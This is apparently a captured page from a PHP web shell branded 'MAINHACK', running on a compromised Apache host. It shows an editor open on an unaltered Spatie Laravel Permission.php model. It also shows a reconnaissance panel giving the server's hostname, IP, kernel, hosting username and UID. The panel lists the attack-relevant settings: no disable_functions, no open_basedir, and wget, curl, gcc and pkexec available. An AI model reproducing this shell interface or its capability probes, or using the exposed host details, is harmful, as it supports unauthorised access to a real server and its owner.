[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: Permission.php
<?php namespace Spatie\Permission\Models; use Illuminate\Database\Eloquent\Collection; use Illuminate\Database\Eloquent\Model; use Illuminate\Database\Eloquent\Relations\BelongsToMany; use Spatie\Permission\Contracts\Permission as PermissionContract; use Spatie\Permission\Exceptions\PermissionAlreadyExists; use Spatie\Permission\Exceptions\PermissionDoesNotExist; use Spatie\Permission\Guard; use Spatie\Permission\PermissionRegistrar; use Spatie\Permission\Traits\HasRoles; use Spatie\Permission\Traits\RefreshesPermissionCache; /** * @property int $id * @property string $name * @property string $guard_name * @property ?\Illuminate\Support\Carbon $created_at * @property ?\Illuminate\Support\Carbon $updated_at */ class Permission extends Model implements PermissionContract { use HasRoles; use RefreshesPermissionCache; protected $guarded = []; public function __construct(array $attributes = []) { $attributes['guard_name'] = $attributes['guard_name'] ?? config('auth.defaults.guard'); parent::__construct($attributes); $this->guarded[] = $this->primaryKey; } public function getTable() { return config('permission.table_names.permissions', parent::getTable()); } public static function create(array $attributes = []) { $attributes['guard_name'] = $attributes['guard_name'] ?? Guard::getDefaultName(static::class); $permission = static::getPermission(['name' => $attributes['name'], 'guard_name' => $attributes['guard_name']]); if ($permission) { throw PermissionAlreadyExists::create($attributes['name'], $attributes['guard_name']); } return static::query()->create($attributes); } /** * A permission can be applied to roles. */ public function roles(): BelongsToMany { return $this->belongsToMany( config('permission.models.role'), config('permission.table_names.role_has_permissions'), PermissionRegistrar::$pivotPermission, PermissionRegistrar::$pivotRole ); } /** * A permission belongs to some users of the model associated with its guard. */ public function users(): BelongsToMany { return $this->morphedByMany( getModelForGuard($this->attributes['guard_name'] ?? config('auth.defaults.guard')), 'model', config('permission.table_names.model_has_permissions'), PermissionRegistrar::$pivotPermission, config('permission.column_names.model_morph_key') ); } /** * Find a permission by its name (and optionally guardName). * * @param string|null $guardName * * @throws \Spatie\Permission\Exceptions\PermissionDoesNotExist */ public static function findByName(string $name, $guardName = null): PermissionContract { $guardName = $guardName ?? Guard::getDefaultName(static::class); $permission = static::getPermission(['name' => $name, 'guard_name' => $guardName]); if (! $permission) { throw PermissionDoesNotExist::create($name, $guardName); } return $permission; } /** * Find a permission by its id (and optionally guardName). * * @param string|null $guardName * * @throws \Spatie\Permission\Exceptions\PermissionDoesNotExist */ public static function findById(int $id, $guardName = null): PermissionContract { $guardName = $guardName ?? Guard::getDefaultName(static::class); $permission = static::getPermission([(new static())->getKeyName() => $id, 'guard_name' => $guardName]); if (! $permission) { throw PermissionDoesNotExist::withId($id, $guardName); } return $permission; } /** * Find or create permission by its name (and optionally guardName). * * @param string|null $guardName */ public static function findOrCreate(string $name, $guardName = null): PermissionContract { $guardName = $guardName ?? Guard::getDefaultName(static::class); $permission = static::getPermission(['name' => $name, 'guard_name' => $guardName]); if (! $permission) { return static::query()->create(['name' => $name, 'guard_name' => $guardName]); } return $permission; } /** * Get the current cached permissions. */ protected static function getPermissions(array $params = [], bool $onlyOne = false): Collection { return app(PermissionRegistrar::class) ->setPermissionClass(static::class) ->getPermissions($params, $onlyOne); } /** * Get the current cached first permission. * * @return \Spatie\Permission\Contracts\Permission */ protected static function getPermission(array $params = []): ?PermissionContract { return static::getPermissions($params, true)->first(); } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.8 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002